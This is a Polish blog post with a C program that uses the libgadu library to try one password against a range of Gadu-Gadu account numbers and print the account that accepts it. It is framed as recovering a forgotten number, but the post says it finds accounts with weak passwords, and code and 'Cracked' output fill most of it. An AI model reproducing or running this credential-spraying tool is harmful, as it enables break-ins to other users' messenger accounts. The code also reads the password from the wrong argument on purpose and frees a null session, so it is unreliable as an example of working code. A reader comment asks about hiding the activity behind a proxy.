Libgadu #5 – Pomocy! Zapomniałem swojego numeru GG!

Kwi 05
2010

numer ggJasio chcąc napisać do Kasi anonimowe wyznanie miłosne na GG założył nowe konto z prostym hasłem do zapamiętania „jasio123„. Nasz Romeo napisał to co chciał. Następnego dnia w szkole dowiedział się, że Kasia jest bardzo szczęśliwa z powodu otrzymania tak miłej wiadomości. Dowiedział się także, że Kasia odpisała na ten numer, aby umówić się z tajemniczym wielbicielem.

Wszystko byłoby piękne, gdyby nie fakt, że Jasio zapomniał numeru z, którego wysłał wiadomość… Jako niepoprawny programista oraz hardkor postanowiłem pomóc Jasiowi i napisałem program, który nie łamie hasła, a numer GG!

Posiadamy takie informacje jak

  • Hasło – jasio123
  • Mniej-większy zakres liczbowy w, którym znajduje się numer – 10000/10010

I tyle w zupełności wystarczy, aby sprawdzić, czy jakiś numer z danego przedziału nie posiada zbyt słabego i oczywistego hasła. Zasada działania programu będzie więc całkiem prosta

  • Pobieramy od użytkownika dwa (w sumie trzy) parametry. Hasło, numer początkowy i numer końcowy.
  • W pętli for za wyrazenie_poczatkowe podstawiamy numer początkowy, a za wyrazenie_warunkowenumer końcowy.
  • Jeśli serwer nada nam sesje, czyli zaloguje nas to możemy się cieszyć. Nasze hasło pasuje do numeru z danego przedziału. Teraz możemy się nań zalogować 🙂
/*
Program ma za zadanie testowac podany
Przedzial numerow na podane haslo.
 
Program powstal dla tych,
Ktorzy pamietaja swoje haslo
Do komunikatora, ale nie
Pamietaja numeru, a
Jedynie przedzial ;-)
 
Zdarza sie takze, ze
Zapominamy dwie ostatnie cyfry,
Hasla do e-maila, aby
Przypomniec haslo z serwera
Takze zgubilismy :-)
 
Autor:
Komeniusz [Nie odpowiadam za uzycie tego programu!]
Licencja: GNU - edukacyjna!
 
Program testowano na:
System: Ubuntu 9.10
Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa)
 
Download Libgadu: http://toxygen.net/libgadu/
Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/
*/
//Niezbędne biblioteki
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu :-)
 
int main(int argc, char **argv)
{
	struct gg_session *sess;
	struct gg_event *e;
	struct gg_login_params p;
 
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
	gg_debug_level = 255;
 
/*****************************************/
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 4) {
	fprintf(stderr, "uzycie: %s <numer poczatkowy> <numer koncowy> <testowane haslo>n", argv[0]);
	return 1;
}
 
/*
Deklarujemy testowany zakres
*/
int poczatek = atoi(argv[1]);
int koniec = atoi(argv[2]);
 
/*
Jesli wprowadzimy bledne dane dotyczace zakresu
wypluwamy info o bledzie i konczymy program
*/
if(poczatek>=koniec) {
	printf("Syntax Error n");
	return 1;
}
/*****************************************/
 
/*
Jazda ;D
*/
for(int numer=poczatek; numer<=koniec; ++numer) {
//Zwalniamy pamiec
	memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer
	p.uin = numer;
//Deklarujemy aktualnie testowane haslo, to samo co na poczatku
	p.password = argv[2];
 
/*
Jesli haslo sie nie zgadza
*/
	if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac/zakomentowac,
jesli chcemy wyswietlac informacje
o numerach, ktore nie przeszly testu
*/
		printf("Bashed: %d n -------------------- n", numer);
 
/*
Zwalnaimy pamiec
*/
		gg_free_session(sess);
	} else { //Jesli zgadlismy haslo drukujemy nalezacy do niego numerek i zamykamy program
			//Potem mozna ruszyc od nowa od numeru, ktory zlamalismy :-)
		printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n");
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("  >>> Cracked: ^ %d ^n -------------------- n", numer);
		printf("^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^n");
		return 1;
	}
 
/*
Zwalniamy pamiec
*/
	gg_logoff(sess);
	gg_free_session(sess);
}
 
	return 0; //zakonczenie programu
}

Przykład działania programu

komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brut brut.c -lgadu -std=c99
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut
uzycie: ./brut <numer poczatkowy> <numer koncowy> <testowane haslo>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brut 10000 10010 jasio123
Bashed: 10000
——————–
Bashed: 10001
——————–
Bashed: 10002
——————–
Bashed: 10003
——————–
Bashed: 10004
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
>>> Cracked: ^ 10005 ^
——————–
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
komeniusz@cyber-jadro:~/libgadu/examples$

I proszę, numer Jasia to 10005 😉

UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.

4 komentarzy w “Libgadu #5 – Pomocy! Zapomniałem swojego numeru GG!”

  1. mb napisał/a:

    //Zwalniamy pamiec
    memset(&p, 0, sizeof(p));

    Mała nieścisłość, tutaj „rezerwujesz” pamięć, a nie ją zwalnaisz :>

  2. mb napisał/a:

    a nie przepraszam, wypełniasz zerami, ach, idę coś zjeść lepiej :]

  3. Marian napisał/a:

    No dobra, tylko przydało by się to chyba zabezpieczyć np. przy pomocy nawet jakiegoś banalnego proxy bo to chyba łamanie prawa jest?

Dodaj komentarz

Twój adres email nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *